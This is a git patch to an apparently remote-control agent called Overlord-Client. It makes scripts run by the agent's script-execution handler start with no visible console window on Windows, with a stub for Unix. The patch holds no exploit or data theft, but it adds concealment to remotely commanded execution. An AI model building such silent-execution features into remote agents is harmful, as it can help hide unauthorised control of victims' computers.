From d998aa9c7fce62b54da6d990931c9fbc69fd5655 Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 6 Apr 2026 18:20:52 -0500 Subject: [PATCH] fix silent windows --- Overlord-Client/cmd/agent/handlers/script.go | 2 ++ Overlord-Client/cmd/agent/handlers/silent_exec_unix.go | 2 ++ Overlord-Client/cmd/agent/handlers/silent_exec_windows.go | 7 +++++++ 3 files changed, 11 insertions(+) diff --git a/Overlord-Client/cmd/agent/handlers/script.go b/Overlord-Client/cmd/agent/handlers/script.go index 99674d8..7c5ecc9 100644 --- a/Overlord-Client/cmd/agent/handlers/script.go +++ b/Overlord-Client/cmd/agent/handlers/script.go @@ -57,6 +57,8 @@ func HandleScriptExecute(ctx context.Context, env *agentRuntime.Env, cmdID strin }) } + hideCmdWindow(cmd) + timeout := 5 * time.Minute ctx, cancel := context.WithTimeout(ctx, timeout) defer cancel() diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go b/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go index c41880e..79921e1 100644 --- a/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go +++ b/Overlord-Client/cmd/agent/handlers/silent_exec_unix.go @@ -10,6 +10,8 @@ import ( "strings" ) +func hideCmdWindow(_ *exec.Cmd) {} + func startSilentProcess(command string, args []string, cwd string, _ bool) error { ext := strings.ToLower(filepath.Ext(command)) diff --git a/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go b/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go index 685781a..e4df006 100644 --- a/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go +++ b/Overlord-Client/cmd/agent/handlers/silent_exec_windows.go @@ -13,6 +13,13 @@ import ( "golang.org/x/sys/windows" ) +func hideCmdWindow(cmd *exec.Cmd) { + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: windows.CREATE_NO_WINDOW, + } +} + func startSilentProcess(command string, args []string, cwd string, hideWindow bool) error { ext := strings.ToLower(filepath.Ext(command))